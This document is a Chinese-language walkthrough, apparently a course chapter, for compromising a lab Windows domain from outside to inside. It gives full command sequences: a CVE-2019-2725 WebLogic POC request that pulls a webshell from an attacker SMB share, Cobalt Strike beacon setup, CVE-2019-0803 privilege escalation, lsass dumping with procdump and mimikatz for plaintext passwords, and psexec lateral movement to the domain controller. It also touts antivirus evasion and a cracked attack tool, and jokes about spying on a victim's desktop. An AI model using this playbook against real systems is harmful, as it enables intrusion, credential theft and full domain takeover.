從外到內,給你服務器干翻了!公網到內網滲透技巧,內網靶場環境下載網盤


配置信息
DCIP:10.10.10.10 OS:Windows 2012(64)應用:AD域 WEBIP1:10.10.10.80 IP2:192.168.111.80 OS:Windows 2008(64)應用:Weblogic 10.3.6 MSSQL 2008 PCIP1:10.10.10.201 IP2:192.168.111.201 OS:Windows 7(32)應用: 攻擊機IP:192.168.111.1OS:Windows 10(64)IP:192.168.111.5OS:Kali
24.1.2 域環境初始化
修改虛擬機默認網絡地址段。

修改網絡地址段

修改NAT設置

修改DHCP

WEB主機必須恢復到快照“最新實驗環境”,登錄WEB主機啟動服務。


默認密碼是1qaz@WSX。

切換至WEB服務目錄下啟動WEB服務。
C:\Oracle\Middleware\user_projects\domains\base_domain

雙擊運行即可啟動web服務。

DC主機恢復到快照 最新實驗環境

默認密碼是1qaz@WSX。

PC主機恢復到快照 最新實驗環境

默認密碼是1qaz@WSX。

輸入域管理員賬號:administrator,密碼:1qaz@WSX


24.1.3 Kali環境準備
添加一塊NAT模式網卡。

修改完成后直接開啟虛擬機

24.2 weblogic漏洞利用并getshell
24.2.1 信息收集
全端口掃描
┌──(root?xuegod53)-[~]└─# nmap -p- -T5 192.168.111.80 -o web
注:
-p- 表示掃描所有端口;
-T5 指定掃描過程使用的時序,總共有6個級別(0-5),級別越高,掃描速度越快,但也容易被防火墻或IDS檢測并屏蔽掉,在網絡通訊狀況較好的情況下推薦使用T4。
-o 保存掃描結果到文件web

常用端口是開放狀態1433是mssql,7001我們知道是weblogic服務,因為我們前面手工開啟的。
這里常規測試就不檢測了,我們啟動weblogic服務時WEB主機是安裝有數字衛士的,所以就不直接使用漏洞exp進行攻擊了,正常情況下都是不可能成功的。
訪問鏈接:
http://192.168.111.80/http://192.168.111.80:7001/

http://192.168.111.80:7001/_async/AsyncResponseService

那既然系統問題我們不考慮,只能考慮weblogic服務漏洞了。找到WeblogicScan工具掃一下。
上傳WeblogicScan-master.zip 到Kali

└─# unzip WeblogicScan-master.zip└─# cd WeblogicScan-master/└─# python3 WeblogicScan.py 192.168.111.80 7001

CVE 的英文全稱是“Common Vulnerabilities & Exposures”通用漏洞披露。
可以看到一共存在2個CVE,我們使用CVE-2019-2725即可,該漏洞方便我們拿到shell。2729經測試是失敗的,不曉得是否是數字衛士的問題。
CVE-2019-2725漏洞描述:這是一個Weblogic反序列化遠程代碼執行漏洞。部分版本WebLogic中默認包含的wls9_async_response包,為WebLogic Server提供異步通訊服務。由于該WAR包在反序列化處理輸入信息時存在缺陷,攻擊者可以發送精心構造的惡意 HTTP 請求,獲得目標服務器的權限,在未授權的情況下遠程執行命令。
24.2.2 利用CVE-2019-2725獲得shell
1、安裝冰蝎
上傳冰蝎 Behinder_v3.0_Beta_6_linux.zip 到Kali
┌──(root?xuegod53)-[~]└─# rz

解壓冰蝎
└─# unzip Behinder_v3.0_Beta_6_linux.zip -d Behinder└─# cd Behinder└─# ls
更新日志.txt Behinder_v3.0_Beta6_linux.jar data.db server
注:暫時先不要啟動冰蝎,我們需要先把/root/Behinder/server/shell.jsp webshell木馬程序上傳weblogic服務器上。然后再使用冰蝎連接shell.jsp木馬程序。
2、啟動smbserver共享文件服務,將/root/Behinder/server目錄共享出去,共享的名稱為share
─# impacket-smbserver share /root/Behinder/server &

在win7或web虛擬機上訪問:\\192.168.111.5\share 查看共享的內容

以下是基于CVE-2019-2725漏洞的POC攻擊代碼:
POST /_async/AsyncResponseService HTTP/1.1Host: 192.168.111.80:7001User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3DNT: 1Connection: closeContent-Type: text/xmlContent-Length: 839 xxxxcmd/ccopy \\192.168.111.5\share\shell.jsp servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\1.jsp
在Kali中打開BurpSuite,點Repeater,將適用于CVE-2019-2725漏洞的POC攻擊代碼復制到Repeater中進行發包。


設置目標主機端口

再次點擊發送。

注:202狀態碼:Accepted 表示服務器端已經收到請求消息,但是尚未進行處理。但是對于請求的處理確實無保證的,即稍后無法通過 HTTP 協議給客戶端發送一個異步請求來告知其請求的處理結果。這個狀態碼被設計用來將請求交由另外一個進程或者服務器來進行處理,或者是對請求進行批處理的情形。
啟動冰蝎,連接上傳的1.jsp木馬程序
└─# java -jar /root/Behinder/Behinder_v3.0_Beta6_linux.jar &
使用冰蝎進行連接:

URL:http://192.168.111.80:7001/_async/1.jsp密碼:rebeyond

連接shell.jsp(如果連接shell獲取不到信息可以重新打開)


查看用戶信息


接下,MK給你展示遠程桌面,讓我們通過圖形界面,看看,大學的導員有沒有在看蒼老師電影?
可以:1 不可以:2
遠程桌面需要CS工具。
遠程桌面需要CS工具。開眼界:肉雞上線, 團隊做戰,多人開戰
24.3 域滲透-橫向滲透獲取域控最高權限
24.3.1 Cobalt Strike簡介
Cobalt Strike是一款美國Red Team開發的滲透測試神器,最近這個工具大火,成為了滲透測試中不可缺少的利器。其擁有多種協議主機上線方式,集成了提權,憑據導出,端口轉發,socket代理,office攻擊,文件捆綁,釣魚等功能。同時,Cobalt Strike還可以調用Mimikatz等其他知名工具,因此廣受黑客喜愛,我們可以簡稱為CS。
一句話:CS是管理肉雞的一個好工具。
24.3.2 Cobalt Strike部署
這里使用的版本為無后門無暗樁版本,大家可以放心使用。
┌──(root?xuegod53)-[~]└─# rz

└─# unzip CobaltStrike4.3.zip└─# cd CobaltStrike4.3/添加執行權限└─# chmod +x cobaltstrike teamserver start.sh啟動服務端(命令+ip+密碼)└─# ./teamserver 192.168.111.5 123456 &

啟動客戶端
└─# ./start.sh &

用戶名隨意填寫,CS支持多人協同工作,所有人的密碼都是123456。

24.3.3 創建監聽器
啟動服務端的時候生成了一段hash確認hash沒錯點擊確認即可。

創建監聽

添加



生成exe程序

這里不建議使用x64,因為32位可以在64位運行。如果你明確知道對方是x64系統也可以生成64位。



24.3.4 普通用戶提權-反彈SYSTEM權限的shell給cs服務
1、獲得普通用戶權限
修改BurpSuite數據包把web.exe拷貝到服務器,這里你也可以通過冰蝎上傳exe文件。
修改數據包內容方式如下,直接修改文件名稱重新發包即可。

冰蝎切換到我們上傳文件的目錄,運行web.exe返回一個de1ay用戶的shell。

執行以下命令:

C:\Oracle\Middleware\user_projects\domains\base_domain>cd servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war>web.exe

打開會話窗口

設置命令執行周期,默認是60秒,我們修改短一些。否則每次執行命令要等60秒才會執行。
beacon> sleep 2

查看當前目錄
beacon> shell dir

當前目錄為
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war>
后期使用cs上傳相關利用工具到此目錄,在實際滲透中,最好將一些利用工具上傳到比較隱蔽的位置。
查看當前用戶身份,發現是WEB\de1ay普通用戶
beacon> getuid

2、開始提權
上傳相關利用工具到Kali

使用cs上傳相關利用工具到目標機
beacon>upload /root/CVE-2019-0803.exebeacon>upload /root/mimidrv.sysbeacon>upload /root/mimikatz.exebeacon>upload /root/mimilib.dllbeacon>upload /root/procdump64.exe
或使用窗口方式上傳:

查看已上傳的利用工具
beacon> shell dir

注:procdump是微軟官方的工具,用于導出進程內存,不會報毒被殺,CVE-2019-0803是目前比較新的提權工具,應用場景非常多,該工具已經過免殺處理,可以放心使用。如果mimikatz相關程序報毒,可以將dump下來的內存文件copy到本地,找一臺系統相同的計算機進行解密。
前面知道系統沒安裝什么補丁。所以我們直接利用工具提權即可。
[01]: KB2999226[02]: KB958488[03]: KB976902
返回SYSTEM權限的shell
beacon> shell CVE-2019-0803.exe cmd "start web.exe"

等程序執行完成就會返回SYSTEM權限的shell,如果沒有返回就重新執行,因為提權工具是有成功率的。

我們到SYSTEM會話中也設置一下: sleep 2


getuid 發現在我已經是admin

24.3.5 使用procdump64+mimikatz獲取win用戶明文密碼
procdump64.exe介紹:它的主要目的是監控應用程序的CPU異常動向, 并在此異常時生成crash dump文件, 供研發人員和管理員確定問題發生的原因。
lsass.exe 進程概述:lsass.exe是一個系統進程,用于微軟Windows系統的安全機制。它用于本地安全和登陸策略。也就是說lsass.exe進程運行后,里面會保存用戶帳號和密碼信息。
基于剛獲取的SYSTEM權限,來獲取到lsass.exe 進程的內存文件。lsass.exe內存文件中會存儲明文登錄密碼。
beacon> shell procdump64.exe -accepteula -ma lsass.exe lsass.dmp
-accepteula參數:指定是否自動接受 Microsoft 軟件許可條款。所有無人參與安裝都需要此設置。
-ma 參數:生成full dump, 即包括進程的所有內存. 默認的dump格式包括線程和句柄信息.

解密,這里數字衛士沒有攔擊并不說明mimikatz是免殺的,實際環境如果mimikatz不是免殺的需要將lsass.dmp文件拖回本地放至相同的系統中進行解密。
利用mimikatz.exe從 lsass.dmp 里獲取windows處于active狀態賬號的明文密碼
beacon> shell mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit >pass.txt

直接使用download命令下載,下載后會保存到程序目錄的downloads目錄。
beacon> download pass.txt

┌──(root?xuegod53)-[~/CobaltStrike4.3]└─# cd downloads/文件名是隨機字符串└─# lsffc9a80c8└─# cat ffc9a80c8
這里說明一下,如果你是直接恢復快照打開虛擬機,進入系統是可以讀取到域管理員用戶administrator,密碼和mssql用戶一樣。
目前得到賬戶信息:
域用戶名:de1ay\mssql 密碼:1qaz@WSX
域用戶名:de1ay\administrator 密碼:1qaz@WSX #這是DC域管理員用戶和密碼
本地用戶名:WEB\de1ay 密碼:1qaz@WSX 該用戶是系統本地登錄系統用的。
24.3.6 域信息收集-找出域控制服務器主機名和IP
查看網絡信息找到域控
beacon> shell ipconfig /all

DNS服務器10.10.10.10也就是域控。
查看域控制器
beacon> shell net group "domain controllers" /domain

主機名:DC,完整主機是:DC.de1ay.com再確認主機名為DC的IP地址:beacon> shell ping dc 或:beacon> shell ping DC
注:windows對字母大小,不敏感

查看域管理員:
beacon> shell net group "domain admins" /domain

24.3.7 生成管理帳號密碼用戶憑證-連接域控服務器-反彈域控shell
回到控制目標主機的初始用戶賬戶下
beacon> rev2self
查看當前的權限:
beacon> getuid

通過前面獲取到的DC的DE1AY\administrator賬戶信息,生成新的憑證。
beacon> make_token DE1AY\administrator 1qaz@WSX

創建新的監聽。


名稱就叫smb這個后面要用。

DC上線,jump會使用前面的憑證和smb監聽器,完成登錄DC的過程
beacon> jump psexec DC smb
或:jump psexec 10.10.10.10 smb #目標機器可以是DC主機名,也可以是IP



拿到域控基本上就可以為所欲為了,剩下的當做作業留給同學們。
24.3.8 掃描域內網其他機器-橫向移動到其他機器上
1、掃描域內網其他機器
啟動PC虛擬
選擇任意一個臺機器,右擊,選擇目錄,端口掃描:

選擇10.10.10.0網段,把ports清空,使用arp協議,對10.10.10.0網段進行掃描,探測活躍的機器。

發現在3以在線的機器:

發現了一臺新的機器:10.10.10.201 ,這是我們剛才開的win7 pc虛擬機。
2、生成域用戶憑證和監聽器
選擇擁有system權限的會話,這個會話之前已經完成以下兩步驟:
(1)、域控制器用戶DE1AY\administrator的憑證
beacon> make_token DE1AY\administrator 1qaz@WSX
(2)、還有smb監聽器
DC上線,jump會使用前面的憑證和smb監聽器,完成登錄DC的過程
beacon> jump psexec DC smb
所以在域中橫向移動時,可以直接使用,不要重新生域用戶憑證和監聽器
3、選擇橫向移動到另一個臺機器
beacon> jump psexec 10.10.10.201 smb

后續還需要做權限維持,以及痕跡清理,這個任務就交給同學們了,非常簡單。
梳理本次滲透流程,如下:
- namp找weblogic服務
- weblogicscan掃描漏洞,找到漏洞CVE-2019-2725漏洞
- 安裝冰蝎軟件
- 使用smbserver把冰蝎中shell.jsp木馬共享出去
- 查找一個CVE-2019-2725漏洞的POC攻擊代碼
- 使用burpsuite運行CVE-2019-2725的POC代碼,上傳shell.jsp木馬
- 冰蝎連接被攻擊服務器上shell.jsp木馬,獲得普通用戶shell權限
==以上已經拿到普通權限,接下來需要拿到內網的服務器和PC,而且要可視化顯示拿到的肉雞=
- 安裝CobaltStrike軟件
- 使用CobaltStrike軟件生成木馬web.exe
- 使用burpsuite運行CVE-2019-2725的POC代碼,上傳web.exe木馬
- 使用CobaltStrike生成監聽器,等待木馬web.exe上線
- 在冰蝎終端上運行web.exe木馬,開始上線木馬
- CobaltStrike上傳提權工具CVE-2019-0803.exe獲得system權限
- 使用procdump64+mimikatz獲得系統用戶明文密碼
- 域信息收集-找出域控制服務器主機名和IP
- 生成管理帳號密碼用戶憑證-連接域控服務器-反彈域控shell
注:具體滲透命令,大家可能記不住,但是滲透流程,一定要記住,這樣后期滲透時,才能有思路!